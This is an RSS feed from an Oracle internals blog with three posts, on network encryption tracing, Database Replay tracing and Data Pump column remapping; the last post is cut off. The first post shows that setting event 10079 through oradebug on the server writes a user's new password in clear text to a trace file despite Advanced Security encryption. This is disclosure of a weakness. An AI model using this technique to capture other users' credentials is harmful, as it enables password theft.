<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Miladin Modrakovic&#039;s Blog: Oraclue</title>
	<atom:link href="http://oraclue.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://oraclue.com</link>
	<description>Oracle internals, debugging and undocumented features</description>
	<lastBuildDate>Fri, 25 Jun 2010 20:08:22 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='oraclue.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://1.gravatar.com/blavatar/920ff9031bb17acfd03a158e853c75c1?s=96&#038;d=http://s2.wp.com/i/buttonw-com.png</url>
		<title>Miladin Modrakovic&#039;s Blog: Oraclue</title>
		<link>http://oraclue.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://oraclue.com/osd.xml" title="Miladin Modrakovic&#039;s Blog: Oraclue" />
	<atom:link rel='hub' href='http://oraclue.com/?pushpress=hub'/>
		<item>
		<title>Oracle network encrypted data exposed.</title>
		<link>http://oraclue.com/2010/06/25/oracle-network-encrypted-data-exposed/</link>
		<comments>http://oraclue.com/2010/06/25/oracle-network-encrypted-data-exposed/#comments</comments>
		<pubDate>Fri, 25 Jun 2010 20:03:40 +0000</pubDate>
		<dc:creator>oraclue</dc:creator>
				<category><![CDATA[Internals]]></category>

		<guid isPermaLink="false">http://oraclue.com/?p=1379</guid>
		<description><![CDATA[For this exercise I will use Oracle Advanced Security Option ( ASO) with following parameters: SQLNET.ORA file: /* ASO Encryption */ SQLNET.CRYPTO_SEED = &#8220;fsdfsdfsdfsdfsdfsdfsdfsdfwrewrwerwerwesdfsdfsdfsd&#8221; SQLNET.ENCRYPTION_SERVER = REQUIRED SQLNET.ENCRYPTION_CLIENT = REQUIRED SQLNET.ENCRYPTION_TYPES_SERVER = (RC4_256) SQLNET.ENCRYPTION_TYPES_CLIENT = (RC4_256) /* ASO Checksumm */ SQLNET.CRYPTO_CHECKSUM_SERVER = REQUIRED SQLNET.CRYPTO_CHECKSUM_CLIENT = REQUIRED SQLNET.CRYPTO_CHECKSUM_TYPES_SERVER = (MD5) SQLNET.CRYPTO_CHECKSUM_TYPES_CLIENT = (MD5) * Tracing */ [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oraclue.com&blog=4867865&post=1379&subd=oraclue&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>For this exercise I will use Oracle Advanced Security Option ( ASO) with following parameters:</p>
<p>SQLNET.ORA file:</p>
<p>/* ASO Encryption */</p>
<p>SQLNET.CRYPTO_SEED = &#8220;fsdfsdfsdfsdfsdfsdfsdfsdfwrewrwerwerwesdfsdfsdfsd&#8221;<br />
SQLNET.ENCRYPTION_SERVER = REQUIRED<br />
SQLNET.ENCRYPTION_CLIENT = REQUIRED<br />
SQLNET.ENCRYPTION_TYPES_SERVER = (RC4_256)<br />
SQLNET.ENCRYPTION_TYPES_CLIENT = (RC4_256)</p>
<p>/* ASO Checksumm */</p>
<p>SQLNET.CRYPTO_CHECKSUM_SERVER = REQUIRED<br />
SQLNET.CRYPTO_CHECKSUM_CLIENT = REQUIRED<br />
SQLNET.CRYPTO_CHECKSUM_TYPES_SERVER = (MD5)<br />
SQLNET.CRYPTO_CHECKSUM_TYPES_CLIENT = (MD5)</p>
<p>* Tracing */</p>
<p>TRACE_LEVEL_CLIENT = 16<br />
TRACE_UNIQUE_CLIENT=TRUE<br />
TRACE_TIMESTAMP_CLIENT=TRUE<br />
TRACE_FILE_CLIENT = sqlnet<br />
TRACE_DIRECTORY_CLIENT =C:\TRACE</p>
<p>My sqlnet.ora file has parameters related to encryption, checksum and client tracing.</p>
<p>Using sqlplus I will log into database:</p>
<p>C:\&gt;sqlplus demo@demo</p>
<p>SQL&gt; /</p>
<p>SPID   SID  USERNAME<br />
&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
<strong>28079   134 </strong>DEMO</p>
<p>quick check for this session</p>
<p>set linesize 145<br />
col network_service_banner format a110<br />
<strong>select sid,network_service_banner  from v$session_connect_info</strong><br />
where sid=134</p>
<p>SID NETWORK_SERVICE_BANNER<br />
&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
134 TCP/IP NT Protocol Adapter for Linux: Version 11.1.0.7.0 &#8211; Production<br />
134 Oracle Advanced Security: encryption service for Linux: Version 11.1.0.7.0 &#8211; Production<br />
134 Oracle Advanced Security: RC4_256 encryption service adapter for Linux: Version 11.1.0.7.0 &#8211; Produc<br />
134 Oracle Advanced Security: crypto-checksumming service for Linux: Version 11.1.0.7.0 &#8211; Production<br />
134 Oracle Advanced Security: MD5 crypto-checksumming service adapter</p>
<p>5 rows selected.</p>
<p>and from session SID 134 I will run alter statement:</p>
<p>SQL&gt; alter user demo identified by demo;</p>
<p>Looking at  sqlnet_3872.trc file I can see     <span id="more-1379"></span> that traffic is encrypted.</p>
<p>25-JUN-2010 13:26:33:091] nsdo: nsctxrnk=0<br />
[25-JUN-2010 13:26:33:091] nsdo: normal exit<br />
[25-JUN-2010 13:26:33:091] nsfull_pkt_rcv: entry<br />
[25-JUN-2010 13:26:33:091] nsfull_pkt_rcv: cid=0, opcode=85, *bl=0, *what=0, uflgs=0&#215;0, cflgs=0&#215;0<br />
[25-JUN-2010 13:26:33:091] nsfull_pkt_rcv: rank=64, nsctxrnk=0<br />
[25-JUN-2010 13:26:33:091] nsfull_pkt_rcv: nsctx: state=8, flg=0x400d, mvd=0<br />
[25-JUN-2010 13:26:33:091] nsfull_pkt_rcv: gtn=367, gtc=367, ptn=10, ptc=8137<br />
[25-JUN-2010 13:26:33:091] nsfull_pkt_rcv: switching to application buffer<br />
[25-JUN-2010 13:26:33:091] nsrdr: entry<br />
[25-JUN-2010 13:26:33:091] nsrdr: recving a packet<br />
[25-JUN-2010 13:26:33:091] nsprecv: entry<br />
[25-JUN-2010 13:26:33:091] nsprecv: reading from transport&#8230;<br />
[25-JUN-2010 13:26:33:091] nttrd: entry<br />
[25-JUN-2010 13:26:33:137] nttrd: socket 304 had bytes read=129<br />
[25-JUN-2010 13:26:33:137] nttrd: exit<br />
[25-JUN-2010 13:26:33:137] nsprecv: 129 bytes from transport<br />
[25-JUN-2010 13:26:33:137] nsprecv: tlen=129, plen=129, type=6<br />
[25-JUN-2010 13:26:33:137] nsprecv: packet dump<br />
[25-JUN-2010 13:26:33:137] nsprecv: 00 81 00 00 06 00 00 00  |&#8230;&#8230;..|<br />
[25-JUN-2010 13:26:33:137] nsprecv: 00 00 FF 2F A9 78 83 13  |&#8230;/.x..|<br />
[25-JUN-2010 13:26:33:137] nsprecv: C6 AE 2B B6 45 34 40 77  |..+.E4@w|<br />
[25-JUN-2010 13:26:33:137] nsprecv: 70 DF 3D 7D AE C4 C7 D6  |p.=}&#8230;.|<br />
[25-JUN-2010 13:26:33:137] nsprecv: AC B8 07 F9 00 76 74 06  |&#8230;..vt.|<br />
[25-JUN-2010 13:26:33:137] nsprecv: 62 CA 9A F0 76 EA 4D 17  |b&#8230;v.M.|<br />
[25-JUN-2010 13:26:33:137] nsprecv: E2 80 54 2D FD 56 80 2C  |..T-.V.,|<br />
[25-JUN-2010 13:26:33:137] nsprecv: 3B 19 8E FF 0A E1 59 FA  |;&#8230;..Y.|<br />
[25-JUN-2010 13:26:33:137] nsprecv: 09 80 13 4F 38 E6 62 17  |&#8230;O8.b.|<br />
[25-JUN-2010 13:26:33:137] nsprecv: B4 8F EF 9B EA B3 91 5E  |&#8230;&#8230;.^|<br />
[25-JUN-2010 13:26:33:137] nsprecv: A5 B9 98 54 F9 2A 0B F7  |&#8230;T.*..|<br />
[25-JUN-2010 13:26:33:137] nsprecv: B0 B9 FE 94 6A E4 AB 0E  |&#8230;.j&#8230;|<br />
[25-JUN-2010 13:26:33:137] nsprecv: FB 23 3A 62 BB FB D7 6E  |.#:b&#8230;n|<br />
[25-JUN-2010 13:26:33:137] nsprecv: B1 C1 89 EA 0E CD 92 C0  |&#8230;&#8230;..|<br />
[25-JUN-2010 13:26:33:137] nsprecv: C2 D8 76 99 17 77 10 CF  |..v..w..|<br />
[25-JUN-2010 13:26:33:137] nsprecv: 35 24 17 08 B0 BD D2 00  |5$&#8230;&#8230;|<br />
[25-JUN-2010 13:26:33:137] nsprecv: 01                       |.       |<br />
[25-JUN-2010 13:26:33:137] nsprecv: normal exit<br />
[25-JUN-2010 13:26:33:137] nsrdr: got NSPTDA packet<br />
[25-JUN-2010 13:26:33:137] nsrdr: NSPTDA flags: 0&#215;0<br />
[25-JUN-2010 13:26:33:137] nsrdr: normal exit<br />
[25-JUN-2010 13:26:33:137] nsfull_pkt_rcv: *what=1, *bl=8145<br />
[25-JUN-2010 13:26:33:137] nsfull_pkt_rcv: nsctxrnk=0<br />
[25-JUN-2010 13:26:33:137] nsfull_pkt_rcv: normal exit<br />
[25-JUN-2010 13:26:33:137] nioqrc: exit</p>
<p>Beside regular sqlnet client tracing Oracle introduced <strong>Event 10079 -  Dumping Oracle Net network packets.</strong></p>
<p>This event can be used to enable dumps for sessions which are already established.That is what I am going to use for the purpose of this exersize.</p>
<p>Common dump levels are:</p>
<p>Level 1 &#8211; Trace network operations to/from client<br />
Level 2 &#8211; level 1 + dump data<br />
Level 4 &#8211; Trace operations to/from db link<br />
Level 8 &#8211; level 4 + dump data</p>
<p>As always you can combine dump levels.</p>
<p>In my next scenario I will set event 10079 for same sql session ( SID 134) by running oradebug command<br />
using sqlplus from Oracle Client running on Windows:</p>
<p>SQL&gt; <strong>oradebug setospid 28079</strong><br />
Oracle pid: 29, Unix process pid: 28079, image: oracle@demo02<br />
SQL&gt; <strong>oradebug event 10079 trace name context forever, level 2</strong><br />
Statement processed.<br />
SQL&gt; <strong>oradebug event 10079 trace name context off</strong><br />
Statement processed.<br />
SQL&gt;</p>
<p>and run same alter statement again from same session SID 134</p>
<p>alter user demo identified by demo&#8230;</p>
<p>Quick look at trace file  trace file:<br />
SQL&gt; oradebug tracefile_name<br />
/oracle/trace/demo_ora_28079.trc</p>
<p>demo_ora_28079.trc</p>
<p>IFCDSEND: (bp=0x9d4aaa0, bl=1, isdblink=0)<br />
Dump of memory from 0x0000000009D4AAA0 to 0x0000000009D4AAA1<br />
009D4AAA0 00000008                             [....]<br />
IFCDRECV: (bp=0x7fff16e831e4, bl=1, isdblink=0)<br />
100 bytes sent via fast-path<br />
Dump of memory from 0x0000000017BA45A1 to 0x0000000017BA4605<br />
017BA45A0 4E000608 040AAE15 04000000 00000000  [...N............]<br />
017BA45B0 00000000 00000000 00000000 00000000  [................]<br />
017BA45C0 04000000 00000001 00000018 00000000  [................]<br />
017BA45D0 00000000 00000004 0000002B 00000000  [........+.......]<br />
017BA45E0 00000000 00000000 00000000 00000000  [................]<br />
017BA45F0 0100001A 00000000 00000000 00000000  [................]<br />
017BA4600 00000000 D8C2C000                    [........]</p>
<p>again no password exposed.</p>
<p>This time I will enable event 10079 but <strong> on Oracle Database Server itself</strong> ( on my Linux server)</p>
<p>SQL&gt; <strong>oradebug setospid 28079</strong><br />
Oracle pid: 29, Unix process pid: 28079, image: oracle@demo02<br />
SQL&gt; <strong>oradebug event 10079 trace name context forever, level 2</strong><br />
Statement processed.</p>
<p>and run same alter statement from same session SID 134:</p>
<p>alter user demo identified by test_4bla.</p>
<p>checking demo_ora_28079.trc again:</p>
<p>181 bytes received via SQL*Net<br />
Dump of memory from 0x00007FFF16E831E4 to 0x00007FFF16E831E5<br />
7FFF16E831E0          00002B11                        [.+..]<br />
Dump of memory from 0x0000000017B9DCB1 to 0x0000000017B9DD65<br />
017B9DCB0 011D6911 00000001 00000002 211E5E03  [.i...........^.!]<br />
017B9DCC0 00000080 01000000 0000002E 00000D01  [................]<br />
017B9DCD0 00010100 01000000 00000000 00000000  [................]<br />
017B9DCE0 00000000 01000100 00000101 00000000  [................]<br />
017B9DCF0 01010000 00000000 00000000 00000000  [................]<br />
017B9DD00 612E0000 7265746C 65737520 6D6D2072  [......<strong>alter user</strong>]<br />
017B9DD10 6172646F 69766F6B 64692063 69746E65  [<strong>demo identified </strong>]<br />
017B9DD20 64656966 20796220 74736574 6C62345F  [<strong>by test_4bla</strong>....]<br />
017B9DD30 00000161 00000100 00000000 00000000  [................]<br />
017B9DD40 00000000 00000000 00000000 00000700  [................]<br />
017B9DD50 00000000 00000000 00000000 00000000  [................]<br />
017B9DD60 00000000 66154700                    [.....G.f]<br />
IFCDSEND: (bp=0x9d4aaa0, bl=1, isdblink=0)<br />
Dump of memory from 0x0000000009D4AAA0 to 0x0000000009D4AAA1<br />
009D4AAA0 00000008                             [....]<br />
IFCDRECV: (bp=0x7fff16e831e4, bl=1, isdblink=0)<br />
100 bytes sent via fast-path</p>
<p>Now I can see password in clear text!! Although I have ASO enabled I can see network data <strong>UNENCRYPTED!</strong></p>
<p>Here is last one that I use all the time when resetting passwords:</p>
<p>changing password <strong>using sqlplus and passw command</strong></p>
<p>passw demo<br />
Changing password for demo<br />
New password:<br />
Retype new password:<br />
Password changed</p>
<p>and from trace file</p>
<p>866 bytes received via SQL*Net<br />
Dump of memory from 0x00007FFF16E831E4 to 0x00007FFF16E831E5<br />
7FFF16E831E0          00002B11                        [.+..]<br />
Dump of memory from 0x0000000017BA2581 to 0x0000000017BA28E2<br />
017BA2580 861F6B11 05000000 01000056 11000000  [.k......V.......]<br />
017BA2590 01012069 03000000 03000000 0B012173  [i ..........s!..]<br />
017BA25A0 12000000 01000001 00000007 6D0B0101  [...............m]<br />
017BA25B0 72646F6D 766F6B61 00106369 41100000  [demo.....A]<br />
017B425C0 5F485455 5045444E 57535341 40444424  [UTH_NEWPASSWORD@]<br />
017BA25D0 40000000 43344443 30445462 3234843  [...@C10C16F0C862]<br />
017BA25E0 38333137 38373844 41303043 38383143  [7138D878C00AC188]</p>
<p>Password is protected.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/oraclue.wordpress.com/1379/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/oraclue.wordpress.com/1379/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/oraclue.wordpress.com/1379/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/oraclue.wordpress.com/1379/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/oraclue.wordpress.com/1379/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/oraclue.wordpress.com/1379/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/oraclue.wordpress.com/1379/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/oraclue.wordpress.com/1379/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/oraclue.wordpress.com/1379/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/oraclue.wordpress.com/1379/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/oraclue.wordpress.com/1379/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/oraclue.wordpress.com/1379/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/oraclue.wordpress.com/1379/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/oraclue.wordpress.com/1379/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oraclue.com&blog=4867865&post=1379&subd=oraclue&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://oraclue.com/2010/06/25/oracle-network-encrypted-data-exposed/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/93d81c68274d316c3d3c57801cbcd9f2?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">oraclue</media:title>
		</media:content>
	</item>
		<item>
		<title>Tracing Database Replay</title>
		<link>http://oraclue.com/2010/06/01/tracing-database-replay/</link>
		<comments>http://oraclue.com/2010/06/01/tracing-database-replay/#comments</comments>
		<pubDate>Tue, 01 Jun 2010 19:03:10 +0000</pubDate>
		<dc:creator>oraclue</dc:creator>
				<category><![CDATA[Troubleshooting]]></category>

		<guid isPermaLink="false">http://oraclue.com/?p=1339</guid>
		<description><![CDATA[SQL&#62; alter session set events &#8216;trace[rat_wcr.*] disk=high&#8217;; Session altered. SQL&#62; BEGIN dbms_workload_capture.start_capture(UNISTR(&#8216;CAPTURE-demo-20100601134908&#8242;),UNISTR(&#8216;DATA_PUMP_DIR&#8217;), 60, &#8216;INCLUDE&#8217;, FALSE); END; / PL/SQL procedure successfully completed. SQL&#62; alter session set events &#8216;trace[rat_wcr.*] off&#8217;; Session altered. and trace file ( just a snippet ) looks like: 2010-06-01 14:12:13.794034 :kecr.c@5992: kecrRecordUserCallBegin: kecrwksz = 1119 2010-06-01 14:12:13.794047 :kecr.c@2259: kecrRecordCheckPGA: Evaluate dynamic filters. 2010-06-01 [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oraclue.com&blog=4867865&post=1339&subd=oraclue&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>SQL&gt; <strong>alter session set events &#8216;trace[rat_wcr.*] disk=high&#8217;;</strong></p>
<p>Session altered.</p>
<p>SQL&gt; <strong>BEGIN dbms_workload_capture.start_capture(UNISTR(&#8216;CAPTURE-demo-20100601134908&#8242;),UNISTR(&#8216;DATA_PUMP_DIR&#8217;), 60, &#8216;INCLUDE&#8217;, FALSE); END;</strong><strong><br />
/ </strong></p>
<p>PL/SQL procedure successfully completed.</p>
<p>SQL&gt; <strong>alter session set events &#8216;trace[rat_wcr.*] off&#8217;;</strong></p>
<p>Session altered.</p>
<p>and trace file ( just a snippet ) looks like: <span id="more-1339"></span><br />
2010-06-01 14:12:13.794034 :kecr.c@5992: kecrRecordUserCallBegin: kecrwksz = 1119<br />
2010-06-01 14:12:13.794047 :kecr.c@2259: kecrRecordCheckPGA: Evaluate dynamic filters.<br />
2010-06-01 14:12:13.794068 :kecr.c@9270: kecrReflectFilter: Enabling capture (from 1 to 1)<br />
2010-06-01 14:12:13.794082 :kecr.c@9270: kecrReflectFilter: Enabling capture (from 1 to 1)<br />
2010-06-01 14:12:13.794095 :kecr.c@9270: kecrReflectFilter: Enabling capture (from 1 to 1)<br />
2010-06-01 14:12:13.794114 :kecr.c@2916: kecrSyncStats: DBTime kews cur       =         3339845<br />
kecr last sync =         3339845<br />
kews delta     =               0<br />
prev kecrdbtm  =               0<br />
new kecrdbtm   =               0<br />
2010-06-01 14:12:13.794129 :kecr.c@5992: kecrRecordUserCallBegin: kecrwksz = 1199<br />
2010-06-01 14:12:13.794408 :kecr.c@6116: kecrRecordUserCallEnd: Session 138, Parking 0<br />
2010-06-01 14:12:13.794422 :kecr.c@2916: kecrSyncStats: DBTime kews cur       =         3342540<br />
kecr last sync =         3339845<br />
kews delta     =            2695<br />
prev kecrdbtm  =               0<br />
new kecrdbtm   =            2695</p>
<p>For reference ,  these are the actions related to WCR:</p>
<p>WCR: replay client notify<br />
WCR: replay clock<br />
WCR: replay lock order<br />
WCR: Sync context busy<br />
WCR: Record Action Switcher<br />
WCR: Record State Check<br />
WCR: Record SharedDir Check<br />
WCR: Capture Stats Update<br />
KEC  Create directory<br />
WCR: Replay Action Switcher<br />
WCR: Replay State Check<br />
WCR: Replay Deadlock Detection<br />
WCR: Replay Stats Update<br />
WCR: Replay Admin Alive Check<br />
WCR: Replay Send References<br />
WCR: Replay remote commit<br />
WCR: Abort capture on IO error<br />
WCR: Replay remote clock propagation<br />
WCR: RAC message context busy<br />
WCR: capture file IO write<br />
WCR: Sync context busy</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/oraclue.wordpress.com/1339/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/oraclue.wordpress.com/1339/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/oraclue.wordpress.com/1339/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/oraclue.wordpress.com/1339/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/oraclue.wordpress.com/1339/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/oraclue.wordpress.com/1339/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/oraclue.wordpress.com/1339/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/oraclue.wordpress.com/1339/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/oraclue.wordpress.com/1339/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/oraclue.wordpress.com/1339/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/oraclue.wordpress.com/1339/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/oraclue.wordpress.com/1339/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/oraclue.wordpress.com/1339/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/oraclue.wordpress.com/1339/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oraclue.com&blog=4867865&post=1339&subd=oraclue&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://oraclue.com/2010/06/01/tracing-database-replay/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/93d81c68274d316c3d3c57801cbcd9f2?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">oraclue</media:title>
		</media:content>
	</item>
		<item>
		<title>Oracle Data Pump vs Update</title>
		<link>http://oraclue.com/2010/05/20/using-oracle-data-pump-instaed-of-update/</link>
		<comments>http://oraclue.com/2010/05/20/using-oracle-data-pump-instaed-of-update/#comments</comments>
		<pubDate>Thu, 20 May 2010 20:01:27 +0000</pubDate>
		<dc:creator>oraclue</dc:creator>
				<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://oraclue.com/?p=1320</guid>
		<description><![CDATA[Here is simple scenario: First I am going to create simple table with two rows and pouplate it with 10000 records: SQL&#62; create table demo.test ( a number, b number); Table created. SQL&#62; begin for i in 1..10000 loop insert into demo.test values (i,1); end loop; end; /  2    3    4    5    6 PL/SQL procedure [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=oraclue.com&blog=4867865&post=1320&subd=oraclue&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<p>Here is simple scenario:</p>
<p>First I am going to create simple table with two rows and pouplate it with 10000 records:<br />
SQL&gt; create table demo.test ( a number, b number);</p>
<p>Table created.</p>
<p>SQL&gt; begin<br />
for i in 1..10000 loop<br />
insert into demo.test values (i,1);<br />
end loop;<br />
end;<br />
/  2    3    4    5    6</p>
<p>PL/SQL procedure successfully completed.</p>
<p>SQL&gt; select count(*) from demo.test;</p>
<p>COUNT(*)<br />
&#8212;&#8212;&#8212;-<br />
10000</p>
<p>SQL&gt; commit;</p>
<p>Commit complete.</p>
<p>SQL&gt; select * from demo.test where rownum &lt; 10;</p>
<p>A          B<br />
&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;-<br />
1          1<br />
2          1<br />
3          1<br />
4          1<br />
5          1<br />
6          1<br />
7          1<br />
8          1<br />
9          1</p>
<p>9 rows selected.</p>
<p>Next I am going to alter table and add new column.Also I need to insert some values into this newly created columns:<br />
SQL&gt; ALTER TABLE DEMO.TEST ADD (C  NUMBER);<br />
ALTER TABLE DEMO.TEST ADD (D  NUMBER);<br />
Table altered.</p>
<p>SQL&gt;</p>
<p>Table altered.</p>
<p>SQL&gt; desc test<br />
Name                                      Null?    Type<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
A                                                  NUMBER<br />
B                                                  NUMBER<br />
C                                                  NUMBER<br />
D                                                  NUMBER</p>
<p>SQL&gt;  select * from test where rownum &lt; 10;  ( quick check )</p>
<p>A          B          C          D<br />
&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;-<br />
1          1<br />
2          1<br />
3          1<br />
4          1<br />
5          1<br />
6          1<br />
7          1<br />
8          1<br />
9          1</p>
<p>9 rows selected.<br />
The C and D columns are empty since I did not specified default/virtual value.</p>
<p>e.g.</p>
<p>ALTER TABLE DEMO.TEST  ADD (c  NUMBER  DEFAULT 0);<br />
ALTER TABLE DEMO.TEST  ADD (d  NUMBER  DEFAULT 1);<br />
When I use default/virtual value for column I run into issues with Materialiezed Views.If you do not have MW than this will work.</p>
<p>The other options is to run update statement and populate this columns:<span id="more-1320"></span></p>
<p>e.g.</p>
<p>SQL&gt; update demo.test test set c=0 , d=1;</p>
<p>10000 rows updated.</p>
<p>SQL&gt; commit;</p>
<p>Commit complete.</p>
<p>SQL&gt; select * from demo.test where rownum &lt; 10;</p>
<p>A          B          C          D<br />
&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;-<br />
1          1          0          1<br />
2          1          0          1<br />
3          1          0          1<br />
4          1          0          1<br />
5          1          0          1<br />
6          1          0          1<br />
7          1          0          1<br />
8          1          0          1<br />
9          1          0          1</p>
<p>9 rows selected.<br />
I realized that this can take long long time for table with huge number of rows plus lot of archive and flashback logs generated.<br />
My third approach is to use Oracle Data Pump and specificaly data masking.</p>
<p>So before I can run export data pump I will create data pump masking package to map new columns.In my case function will return 0 and 1:</p>
<p>CREATE OR REPLACE PACKAGE sys.datapump_masking_pkg<br />
AS<br />
FUNCTION ZERO_C (p_in NUMBER)<br />
RETURN NUMBER;<br />
FUNCTION ONE_D (p_in NUMBER)<br />
RETURN NUMBER;<br />
END;<br />
/<br />
CREATE OR REPLACE PACKAGE BODY sys.datapump_masking_pkg<br />
AS<br />
FUNCTION ZERO_C (p_in NUMBER)<br />
RETURN NUMBER<br />
IS<br />
BEGIN<br />
RETURN 0;<br />
END;</p>
<p>FUNCTION ONE_D (p_in NUMBER)<br />
RETURN NUMBER<br />
IS<br />
BEGIN<br />
RETURN 1;<br />
END;<br />
END;<br />
/<br />
so after altering table ( adding new columns ) I would run export data pump:</p>
<p><strong>expdp dumpfile=demo.dmp tables=demo.test \<br />
remap_data=demo.test.C:datapump_masking_pkg.ZERO_C \<br />
remap_data=demo.test.D:datapump_masking_pkg.ONE_D \<br />
LOGFILE=test.log</strong></p>
<p><strong>Note:</strong> If you need to find when last DML was run on table use ora_rowscn:<br />
<strong>select max(ora_rowscn), scn_to_timestamp(max(ora_rowscn)) from  demo.test;</strong></p>
<p>Now if I can ( depens on application etc ) I can drop table ( I am using flashback so it is easy to restore it if needed )  or<br />
you can just load data to new table and later on rename it.</p>
<p>DROP TABLE demo.test;</p>
<p>and finaly import data:</p>
<p><strong>impdp dumpfile=demo.dmp tables=demo.test logfile=demo.log</strong><br />
and quick check:<br />
SQL&gt; select * from demo.test where rownum &lt; 10;</p>
<p>A          B          C          D<br />
&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;-<br />
1825          1          0          1<br />
1826          1          0          1<br />
1827          1          0          1<br />
1828          1          0          1<br />
1829          1          0          1<br />
1830          1          0          1<br />
1831          1          0          1<br />
1832          1          0          1<br />
1833          1          0          1</p>
<p>9 rows selected.<br />
My columns are there and populated with expected values.</p>
<p>Pros:  Faster than update statement.</p>
<p>It will still generate lot of archivelogs.Did not have chance to compare flashback logs generation between update and impdp.<br />
Do not forget to purge dba recyclebin at the end if you have dropped table.</p>
<p>PURGE DBA_RECYCLEBIN;</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/oraclue.wordpress.com/1320/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/oraclue.wordpress.com/1320/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/oraclue.wordpress.com/1320/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/oraclue.wordpress.com/1320/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/oraclue.wordpress.com/1320/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/oraclue.wordpress.com/1320/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/oraclue.wordpress.com/1320/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/oraclue.wordpress.com/1320/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/oraclue.wordpress.com/1320/"><img alt="" border="0" 